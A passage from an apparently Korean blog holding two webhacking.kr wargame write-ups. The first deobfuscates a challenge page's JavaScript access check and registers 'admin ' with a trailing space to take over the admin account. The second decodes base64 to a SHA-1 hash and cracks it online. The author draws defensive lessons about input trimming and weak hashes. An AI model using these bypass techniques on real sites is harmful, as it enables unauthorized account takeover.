+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=5></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+' maxlength=10></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}
</script>
</body>
</html>


난독화된 코드가 반겨준다. 무엇을 의미하나?
deobfuscation를 찾아보자. 나는 firefox addon을 설치해서 돌려봤다.

l = 'a';
ll = 'b';
lll = 'c';
llll = 'd';
lllll = 'e';
llllll = 'f';
lllllll = 'g';
llllllll = 'h';
lllllllll = 'i';
llllllllll = 'j';
lllllllllll = 'k';
llllllllllll = 'l';
lllllllllllll = 'm';
llllllllllllll = 'n';
lllllllllllllll = 'o';
llllllllllllllll = 'p';
lllllllllllllllll = 'q';
llllllllllllllllll = 'r';
lllllllllllllllllll = 's';
llllllllllllllllllll = 't';
lllllllllllllllllllll = 'u';
llllllllllllllllllllll = 'v';
lllllllllllllllllllllll = 'w';
llllllllllllllllllllllll = 'x';
lllllllllllllllllllllllll = 'y';
llllllllllllllllllllllllll = 'z';
I = '1';
II = '2';
III = '3';
IIII = '4';
IIIII = '5';
IIIIII = '6';
IIIIIII = '7';
IIIIIIII = '8';
IIIIIIIII = '9';
IIIIIIIIII = '0';
li = '.';
ii = '<';
iii = '>';
lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
  bye;
}
if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {
  alert('access_denied');
  history.go(-1);
} else {
  document.write('<font size=2 color=white>Join</font><p>');
  document.write('.<p>.<p>.<p>.<p>.<p>');
  document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll + '>');
  document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=5></td></tr>');
  document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=10></td></tr>');
  document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}


변수들은 설명되어 있는데 사실 브라우저에서 console.log를 찍어보면된다.
수정해서 다시 코드를 보자

lIllIllIllIllIllIllIllIllIllIl = 'o'+ 'l' + 'd' + 'z' + 'o' + 'm' + 'b' + 'i' + 'e';
lIIIIIIIIIIIIIIIIIIl = 'd' + 'o' + 'c' + 'u' + 'm' + 'e' + 'n' + 't' + '.' + 'c' + 'o' + 'o' + 'k' + 'i' + 'e';
if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
  bye;
}

if (eval(document.URL).indexOf(mode=1) == -1) {
  alert('access_denied');
  history.go(-1);
} else {
  document.write('<font size=2 color=white>Join</font><p>');
  document.write('.<p>.<p>.<p>.<p>.<p>');
  document.write('<form method=post action=join.php>');
  document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=id maxlength=5></td></tr>');
  document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=pw + ' maxlength=10></td></tr>');
  document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}



풀어보면, oldzombie라는 이름의 쿠키값이 필요하고, get 파라미터로 mode=1이라고 기재해주면 join.php의 내용을 볼 수 있다.


이제 요녀석으로 admin이라는 이름으로 가입해야하는데.. 쉽게 될까 싶지만 일단 해보자.
이녀석이 반겨준다.

id 'admin' is already exists


admin이라는 이름은 이미 있댄다.
이를 우회하기 위해서 공백을 넣어줘야하는데, id input box는 maxlength 가 5로 설정되어 있어 더 칠수없게 되어 있다.
간단하게 크롬이나 파이어폭스의 개발자도구로 6으로 수정해주고, "admin "이라는 이름으로 가입해준다.

sign up과 함께 회원가입완료.
admin과 함께 패스워드를 적어주면 문제가 해결된다.



결국 감출페이지 이름은 철저하게 감춰야된다. 어중간하게 감추고 스크립트를 난독화한다고 해도 공격의 대상이 될 수 있기 때문이다.
또한, admin + ' ' 같이 trim을 이용한 방법도 정말 어처구니가 없는 공격이다. 회원가입을 받을때는 반드시 trim 검사도 수반되어야 하겠다.

2016/03/08 01:22 2016/03/08 01:22
첨봤을때 완전 밥인줄알고 간단하게 생각했다가 -_-



딱봐도 base64 encoded 된 녀석이다.
풀어보자.

c4033bff94b567a190e33faa551f411caef444f2


무엇일까. 이대로 넣으면 당연히 안된다.
(첨언1. 사실 webhacking.kr 가입할때 base64 를 세번 decode해서 나오는 값을 입력해야 하는데 이걸 문제로 냈을거라고 생각을 안해서..)
(첨언2. 위 코드로 검색하면 너무 많이 나온다. 안볼수가 없다...)

input창의 size덕에 제대로 넘어가지 않나 싶어서 콘솔로 DOM을 조작후 입력해봐도 제대로 되지 않았다.
결국 이녀석을 가지고 놀아야겠다는 결론에 이르렀다.

찾아보니 이런 글이 있었다.
40byte일 경우 sha1으로 암호화 되어있다고 추측 할 수 있다. ( 32byte이면 md5라고 추측 )
글자를 세어보면 40byte. sha1 암호를 풀어주는 사이트를 이용하자.
정말 어이없는 비밀번호와 함께 문제를 해결 할 수 있다.

여기서 배울점이라면 md5와 sha1은 이미 크랙되었다는것이다.
보안에 강한 sha256 이상의 암호화 알고리즘을 사용해야만한다.
2016/03/08 00:23 2016/03/08 00:23